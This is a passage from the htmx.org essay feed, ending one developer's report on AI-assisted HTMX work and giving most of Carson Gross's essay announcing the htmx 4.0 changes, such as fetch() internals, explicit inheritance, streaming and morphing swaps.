&lt;h2 id=&quot;summary-of-my-experience&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#summary-of-my-experience&quot; aria-label=&quot;Anchor link for: summary-of-my-experience&quot;&gt;Summary of My Experience&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DIA&lt;&#x2F;strong&gt;: 0% AI, 100% handwritten code (business logic + GUI + overhaul of the switch configuration task management
system) → &lt;strong&gt;4 weeks&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PVLAN&lt;&#x2F;strong&gt;: 80% AI, 20% handwritten code (corrections + adding specific business logic) → &lt;strong&gt;1 week&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SIA&lt;&#x2F;strong&gt;: 95% AI, 5% handwritten code (minor corrections) → &lt;strong&gt;1 day&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The time saved was reinvested in testing, bug fixes, project management, and even a few additions outside the initial
scope.&lt;&#x2F;p&gt;
&lt;p&gt;Moreover, the same app was used on the “Tour de France 2025” with minor changes that were made easily thanks to the
hypermedia approach.&lt;&#x2F;p&gt;
&lt;p&gt;This result is possible because of the combination of &lt;em&gt;HTMX + the procedural approach&lt;&#x2F;em&gt;, which produces naturally
readable code, without unnecessary abstraction layers. The data flow is clear, concentrated in a single function, and
the GUI&#x2F;server logic is directly accessible.&lt;&#x2F;p&gt;
&lt;p&gt;For an LLM, this is ideal: it doesn’t need to construct context through a complex architecture. It just needs to follow
the flow and extrapolate it to a new use case. In other words, what’s simpler for the developer is also simpler for the
AI. This is the sense in which HTMX is truly &lt;em&gt;“AI friendly”™&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Ultimately, HTMX mainly allowed me to save time and keep my code clear.
No unnecessary layers, no superfluous complexity: just concrete stuff that works, fast.&lt;&#x2F;p&gt;
&lt;p&gt;And that has made a big difference on these critical projects.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The fetch()ening</title>
        <published>2025-11-01T00:00:00+00:00</published>
        <updated>2025-11-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/the-fetchening/"/>
        <id>https://htmx.org/essays/the-fetchening/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/the-fetchening/">&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;fetch.png&quot; alt=&quot;Stop trying to make fetch() happen&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;OK, I said there would never be a version three of htmx.&lt;&#x2F;p&gt;
&lt;p&gt;But, &lt;em&gt;technically&lt;&#x2F;em&gt;, I never said anything about a version &lt;em&gt;four&lt;&#x2F;em&gt;…&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-4-the-fetch-ening&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-4-the-fetch-ening&quot; aria-label=&quot;Anchor link for: htmx-4-the-fetch-ening&quot;&gt;htmx 4: The fetch()ening&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;The Future of htmx&lt;&#x2F;a&gt; I said the following:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;We are going to work to ensure that htmx is extremely stable in both API &amp;amp; implementation. This means accepting and
documenting the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;quirks&#x2F;&quot;&gt;quirks&lt;&#x2F;a&gt; of the current implementation.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Earlier this year, on a whim, I created &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;fixi&quot;&gt;fixi.js&lt;&#x2F;a&gt;, a hyperminimalist implementation
of the ideas in htmx.  That work gave me a chance to get a lot more familiar  with the &lt;code&gt;fetch()&lt;&#x2F;code&gt; and, especially, the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;JavaScript&#x2F;Reference&#x2F;Statements&#x2F;async_function&quot;&gt;async&lt;&#x2F;a&gt; infrastructure
available in JavaScript.&lt;&#x2F;p&gt;
&lt;p&gt;In doing that work I began to wonder if that, while the htmx &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;reference&#x2F;#attributes&quot;&gt;API&lt;&#x2F;a&gt;
is (at least reasonably) correct, maybe there was room for a more dramatic change of the implementation that took
advantage of these features in order to simplify the library.&lt;&#x2F;p&gt;
&lt;p&gt;Further, changing from ye olde &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;XMLHttpRequest&quot;&gt;&lt;code&gt;XMLHttpRequest&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
(a legacy of htmx 1.0 IE support) to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Window&#x2F;fetch&quot;&gt;&lt;code&gt;fetch()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; would
be a pretty violent change, guaranteed to break at least &lt;em&gt;some&lt;&#x2F;em&gt; stuff.&lt;&#x2F;p&gt;
&lt;p&gt;So I began thinking: if we are going to consider moving to fetch, then maybe we should &lt;em&gt;also&lt;&#x2F;em&gt; use this update as a
chance address at least &lt;em&gt;some&lt;&#x2F;em&gt; of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;quirks&#x2F;&quot;&gt;quirks &amp;amp; cruft&lt;&#x2F;a&gt; that htmx has acquired over its lifetime.&lt;&#x2F;p&gt;
&lt;p&gt;So, eventually &amp;amp; reluctantly, I have changed my mind: there &lt;em&gt;will&lt;&#x2F;em&gt; be another major version of htmx.&lt;&#x2F;p&gt;
&lt;p&gt;However, in order to keep my word that there will not be a htmx 3.0, the next release will instead be htmx 4.0.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;project-goals&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#project-goals&quot; aria-label=&quot;Anchor link for: project-goals&quot;&gt;Project Goals&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;With htmx 4.0 we are rebuilding the internals of htmx, based on the lessons learned from
fixi.js and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.npmjs.com&#x2F;package&#x2F;htmx.org&#x2F;v&#x2F;0.0.1&quot;&gt;five+ years&lt;&#x2F;a&gt; of supporting htmx.&lt;&#x2F;p&gt;
&lt;p&gt;There are three major simplifying changes:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-fetch-ening&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-fetch-ening&quot; aria-label=&quot;Anchor link for: the-fetch-ening&quot;&gt;The fetch()ening&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The biggest internal change is that &lt;code&gt;fetch()&lt;&#x2F;code&gt; will replace &lt;code&gt;XMLHttpRequest&lt;&#x2F;code&gt; as the core ajax infrastructure.  This
won’t actually have a huge effect on most usages of htmx &lt;em&gt;except&lt;&#x2F;em&gt; that the events model will necessarily change due
to the differences between &lt;code&gt;fetch()&lt;&#x2F;code&gt; and &lt;code&gt;XMLHttpRequest&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;explicit-inheritance-by-default&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#explicit-inheritance-by-default&quot; aria-label=&quot;Anchor link for: explicit-inheritance-by-default&quot;&gt;Explicit Inheritance By Default&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;I feel that the biggest mistake in htmx 1.0 &amp;amp; 2.0 was making attribute inheritance implicit.  I was inspired by CSS in
doing this, and the results have been roughly the same as CSS: powerful &amp;amp; maddening.&lt;&#x2F;p&gt;
&lt;p&gt;In htmx 4.0, attribute inheritance will be explicit by default rather than implicit.  Explicit inheritance will
be done via the &lt;code&gt;:inherited&lt;&#x2F;code&gt; modifier:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target:inherited&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#output&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-post&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;up&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Like&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-post&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;down&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Dislike&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;output &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;output&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Pick a button...&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;output&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here the &lt;code&gt;hx-target&lt;&#x2F;code&gt; attribute is explicitly declared as &lt;code&gt;inherited&lt;&#x2F;code&gt; on the enclosing &lt;code&gt;div&lt;&#x2F;code&gt; and, if it wasn’t, the
&lt;code&gt;button&lt;&#x2F;code&gt; elements would not inherit the target from it.&lt;&#x2F;p&gt;
&lt;p&gt;You will be able to revert to htmx 2.0 implicit inheritance behavior via a configuration variable.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;no-locally-cached-history&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-locally-cached-history&quot; aria-label=&quot;Anchor link for: no-locally-cached-history&quot;&gt;No Locally Cached History&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Another source of pain for both us and for htmx users is history support.  htmx 2.0 stores history in local
cache to make navigation faster.  Unfortunately, snapshotting the DOM is often brittle because of third-party
modifications, hidden state, etc.  There is a terrible simplicity to the web 1.0 model of blowing everything away and
starting over.  There are also security concerns storing history information in session storage.&lt;&#x2F;p&gt;
&lt;p&gt;In htmx 2.0, we often end up recommending that people facing history-related issues simply disable the cache entirely,
and that usually fixes the problems.&lt;&#x2F;p&gt;
&lt;p&gt;In htmx 4.0, history support will no longer snapshot the DOM and keep it locally.  It will, rather, issue a network
request for the restored content.  This is the behavior of 2.0 on a history cache-miss, and it works reliably with
little effort on behalf of htmx users.&lt;&#x2F;p&gt;
&lt;p&gt;We will offer an extension that enables history caching like in htmx 2.0, but it will be opt-in, rather than the default.&lt;&#x2F;p&gt;
&lt;p&gt;This tremendously simplifies the htmx codebase and should make the out-of-the-box behavior much more plug-and-play.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-stays-the-same&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#what-stays-the-same&quot; aria-label=&quot;Anchor link for: what-stays-the-same&quot;&gt;What Stays The Same?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Most things.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dl.acm.org&#x2F;doi&#x2F;10.1145&#x2F;3648188.3675127&quot;&gt;core&lt;&#x2F;a&gt; functionality of htmx will remain the same, &lt;code&gt;hx-get&lt;&#x2F;code&gt;, &lt;code&gt;hx-post&lt;&#x2F;code&gt;,
&lt;code&gt;hx-target&lt;&#x2F;code&gt;, &lt;code&gt;hx-boost&lt;&#x2F;code&gt;, &lt;code&gt;hx-swap&lt;&#x2F;code&gt;, &lt;code&gt;hx-trigger&lt;&#x2F;code&gt;, etc.&lt;&#x2F;p&gt;
&lt;p&gt;With a few configuration tweaks, most htmx 2.x based applications should work with htmx 4.x.&lt;&#x2F;p&gt;
&lt;p&gt;These changes will make the long term maintenance &amp;amp; sustainability of the project much stronger.  It will also take
pressure off the 2.0 releases, which can now focus on stability rather than contemplating new features.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;upgrading&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#upgrading&quot; aria-label=&quot;Anchor link for: upgrading&quot;&gt;Upgrading&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;htmx 2.0 users &lt;em&gt;will&lt;&#x2F;em&gt; face an upgrade project when moving to 4.0 in a way that they did not have to in moving
from 1.0 to 2.0.&lt;&#x2F;p&gt;
&lt;p&gt;I am sorry about that, and want to offer two things to address it:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;htmx 2.0 (like htmx 1.0 &amp;amp; intercooler.js 1.0) will be supported &lt;em&gt;in perpetuity&lt;&#x2F;em&gt;, so there is absolutely &lt;em&gt;no&lt;&#x2F;em&gt; pressure to
upgrade your application: if htmx 2.0 is satisfying your hypermedia needs, you can stick with it.&lt;&#x2F;li&gt;
&lt;li&gt;We will roll htmx 4.0 out slowly, over a multi-year period.  As with the htmx 1.0 -&amp;gt; 2.0 upgrade, there will be a long
period where htmx 2.x is &lt;code&gt;latest&lt;&#x2F;code&gt; and htmx 4.x is &lt;code&gt;next&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;new-features&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#new-features&quot; aria-label=&quot;Anchor link for: new-features&quot;&gt;New Features&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Beyond simplifying the implementation of htmx significantly, switching to fetch also gives us the opportunity to add
some nice new features to htmx&lt;&#x2F;p&gt;
&lt;h3 id=&quot;streaming-responses-sse-in-core&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#streaming-responses-sse-in-core&quot; aria-label=&quot;Anchor link for: streaming-responses-sse-in-core&quot;&gt;Streaming Responses &amp;amp; SSE in Core&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;By switching to &lt;code&gt;fetch()&lt;&#x2F;code&gt;, we can take advantage of its support for
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Streams_API&#x2F;Using_readable_streams&quot;&gt;readable streams&lt;&#x2F;a&gt;, which
allow for a stream of content to be swapped into the DOM, rather than a single response.&lt;&#x2F;p&gt;
&lt;p&gt;htmx 1.0 had Server Sent Event support integrated into the library.  In htmx 2.0 we pulled this functionality out as an
extension.  It turns out that SSE is just a specialized version of a streaming response, so in adding streaming
support, it’s an almost-free free two-fer to add that back into core as well.&lt;&#x2F;p&gt;
&lt;p&gt;This will make incremental response swapping much cleaner and well-supported in htmx.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;morphing-swap-in-core&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#morphing-swap-in-core&quot; aria-label=&quot;Anchor link for: morphing-swap-in-core&quot;&gt;Morphing Swap in Core&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;idiomorph&#x2F;commit&#x2F;7760e89d9f198b43aa7d39cc4f940f606771f47b&quot;&gt;Three years ago&lt;&#x2F;a&gt; I had
an idea for a DOM morphing algorithm that improved on the initial algorithm pioneered by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;patrick-steele-idem&#x2F;morphdom&quot;&gt;morphdom&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The idea was to use “id sets” to make smarter decisions regarding which nodes to preserve and which nodes to delete when
merging changes into the DOM, and I called this idea “idiomorph”.  Idiomorph has gone on to be adopted by many other
web project such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hotwired.dev&#x2F;&quot;&gt;Hotwire&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We strongly considered including it in htmx 2.0, but I decided not too because it worked well as an extension and
htmx 2.0 had already grown larger than I wanted.&lt;&#x2F;p&gt;
&lt;p&gt;In 4.0, with the complexity savings we achieved by moving to &lt;code&gt;fetch()&lt;&#x2F;code&gt;, we can now comfortably fit a &lt;code&gt;morphInner&lt;&#x2F;code&gt; and
&lt;code&gt;morphOuter&lt;&#x2F;code&gt; swap into core, thanks to the excellent work of Michael West.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;explicit-htmx-partial-tag-support&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#explicit-htmx-partial-tag-support&quot; aria-label=&quot;Anchor link for: explicit-htmx-partial-tag-support&quot;&gt;Explicit &amp;lt;htmx-partial&amp;gt; Tag Support&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;htmx has, since very early on, supported a concept of “Out-of-band” swaps: content that is removed from the main HTML
response and swapped into the DOM elsewhere.  I have always been a bit ambivalent about them, because they move away
from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behavior&lt;&#x2F;a&gt;, but there is no doubt that they are useful
and often crucial for achieving certain UI patterns.&lt;&#x2F;p&gt;
&lt;p&gt;Out-of-band swaps started off very simply: if you marked an element as &lt;code&gt;hx-swap-oob=&#x27;true&#x27;&lt;&#x2F;code&gt;, htmx would swap the element
as the outer HTML of any existing element already in the DOM with that id.  Easy-peasy.&lt;&#x2F;p&gt;
&lt;p&gt;However, over time, people started asking for different functionality around Out-of-band swaps: prepending, appending,
etc. and the feature began acquiring some fairly baroque syntax to handle all these needs.&lt;&#x2F;p&gt;
&lt;p&gt;We have come to the conclusion that the problem is that there are really &lt;em&gt;two&lt;&#x2F;em&gt; use cases, both currently trying to be
filled by Out-of-band swaps:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A simple, id-based replacement&lt;&#x2F;li&gt;
&lt;li&gt;A more elaborate swap of partial content&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Therefore, we are introducing the notion of &lt;code&gt;&amp;lt;htmx-partial&amp;gt;&lt;&#x2F;code&gt;s in htmx 4.0&lt;&#x2F;p&gt;
&lt;p&gt;A partial element is, under the covers, a template element and, thus, can contain any sort of content you like.  It
specifies on itself all the standard htmx options regarding swapping, &lt;code&gt;hx-target&lt;&#x2F;code&gt; and &lt;code&gt;hx-swap&lt;&#x2F;code&gt; in particular, allowing
you full access to all the standard swapping behavior of htmx without using a specialized syntax.  This tremendously
simplifies the mental model for these sorts of needs, and dovetails well with the streaming support we intend to offer.&lt;&#x2F;p&gt;
&lt;p&gt;Out-of-band swaps will be retained in htmx 4.0, but will go back to their initial, simple focus of simply replacing
an existing element by id.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;improved-view-transitions-support&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#improved-view-transitions-support&quot; aria-label=&quot;Anchor link for: improved-view-transitions-support&quot;&gt;Improved View Transitions Support&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;htmx 2.0 has had &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;View_Transition_API&quot;&gt;View Transition&lt;&#x2F;a&gt; support since
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;master&#x2F;CHANGELOG.md#190---2023-04-11&quot;&gt;April of 2023&lt;&#x2F;a&gt;.  In the interceding
two years, support for the feature has grown across browsers (c’mon, safari, you can do it) and we’ve gained experience
with the feature.&lt;&#x2F;p&gt;
&lt;p&gt;One thing that has become apparent to us while using them is that, to use them in a stable manner, it is important
to establish a &lt;em&gt;queue&lt;&#x2F;em&gt; of transitions, so each can complete before the other begins.  If you don’t do this, you can get
visually ugly transition cancellations.&lt;&#x2F;p&gt;
&lt;p&gt;So, in htmx 4.0 we have added this queue which will ensure that all view transitions complete smoothly.&lt;&#x2F;p&gt;
&lt;p&gt;CSS transitions will continue to work as before as well, although the swapping model is again made much simpler by the
async runtime.&lt;&#x2F;p&gt;
&lt;p&gt;We may enable View Transitions by default, the jury is still out on that.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stabilized-event-ordering&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#stabilized-event-ordering&quot; aria-label=&quot;Anchor link for: stabilized-event-ordering&quot;&gt;Stabilized Event Ordering&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A wonderful thing about &lt;code&gt;fetch()&lt;&#x2F;code&gt; and the async support in general is that it is &lt;em&gt;much&lt;&#x2F;em&gt; easier to guarantee a stable
order of events.  By linearizing asynchronous code and allowing us to use standard language features like try&#x2F;catch,
the event model of htmx should be much more predictable and comprehensible.&lt;&#x2F;p&gt;
&lt;p&gt;We are going to adopt a new standard for event naming to make things even clearer:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;htmx:&amp;lt;phase&amp;gt;:&amp;lt;system&amp;gt;[:&amp;lt;optional-sub-action&amp;gt;]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So, for example, &lt;code&gt;htmx:before:request&lt;&#x2F;code&gt; will be triggered before a request is made.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;improved-extension-support&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#improved-extension-support&quot; aria-label=&quot;Anchor link for: improved-extension-support&quot;&gt;Improved Extension Support&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Another opportunity we have is to take advantage of the &lt;code&gt;async&lt;&#x2F;code&gt; behavior of &lt;code&gt;fetch()&lt;&#x2F;code&gt; for much better performance in our
preload extension (where we issue a speculative (&lt;code&gt;GET&lt;&#x2F;code&gt; only!) request in anticipation of an actual trigger).  We have
also added an optimistic update extension to the core extensions, again made easy by the new async features.&lt;&#x2F;p&gt;
&lt;p&gt;In general, we have opened up the internals of the htmx request&#x2F;response&#x2F;swap cycle much more fully to extension developers,
up to and including allowing them to replace the &lt;code&gt;fetch()&lt;&#x2F;code&gt; implementation used by htmx for a particular request.  There
should not be a need for any hacks to get the behavior you want out of htmx now: the events and the open “context” object
should provide the ability to do almost anything.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;improved-hx-on-support&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#improved-hx-on-support&quot; aria-label=&quot;Anchor link for: improved-hx-on-support&quot;&gt;Improved &lt;code&gt;hx-on&lt;&#x2F;code&gt; Support&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In htmx 2.0, I somewhat reluctantly added the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;attributes&#x2F;hx-on&#x2F;&quot;&gt;&lt;code&gt;hx-on&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; attributes to support light
scripting inline on elements.  I added this because HTML does not allow you to listen for arbitrary events via &lt;code&gt;on&lt;&#x2F;code&gt;
attributes: only standard DOM events like &lt;code&gt;onclick&lt;&#x2F;code&gt; can be responded to.&lt;&#x2F;p&gt;
&lt;p&gt;We hemmed and hawed about the syntax and so, unfortunately, there are a few different ways to do it.&lt;&#x2F;p&gt;
&lt;p&gt;In htmx 4.0 we will adopt a single standard for the &lt;code&gt;hx-on&lt;&#x2F;code&gt; attributes: &lt;code&gt;hx-on:&amp;lt;event name&amp;gt;&lt;&#x2F;code&gt;.  Additionally, we are
working to improve the htmx JavaScript API (especially around async operation support) and will make those features
available in &lt;code&gt;hx-on&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-post&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;like&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-on:htmx:after:swap&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;await timeout(&amp;#39;3s&amp;#39;); ctx.newContent[0].remove()&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    Get A Response Then Remove It 3 Seconds Later
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;htmx will never support a fully featured scripting mechanism in core, we recommend something like
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;Alpine.js&lt;&#x2F;a&gt; for that, but our hope is that we can provide a relatively minimalist API that
allows for easy, light async scripting of the DOM.&lt;&#x2F;p&gt;
&lt;p&gt;I should note that htmx 4.0 will continue to work with &lt;code&gt;eval()&lt;&#x2F;code&gt; disabled, but you will need to forego a few features like
&lt;code&gt;hx-on&lt;&#x2F;code&gt; if you choose to do so.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;a-better-but-familiar-htmx&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-better-but-familiar-htmx&quot; aria-label=&quot;Anchor link for: a-better-but-familiar-htmx&quot;&gt;A Better But Familiar htmx&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;All in all, our hope is that htmx 4.0 will feel an awful lot like 2.0, but with better features and, we hope, with fewer bugs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;timeline&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#timeline&quot; aria-label=&quot;Anchor link for: timeline&quot;&gt;Timeline&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
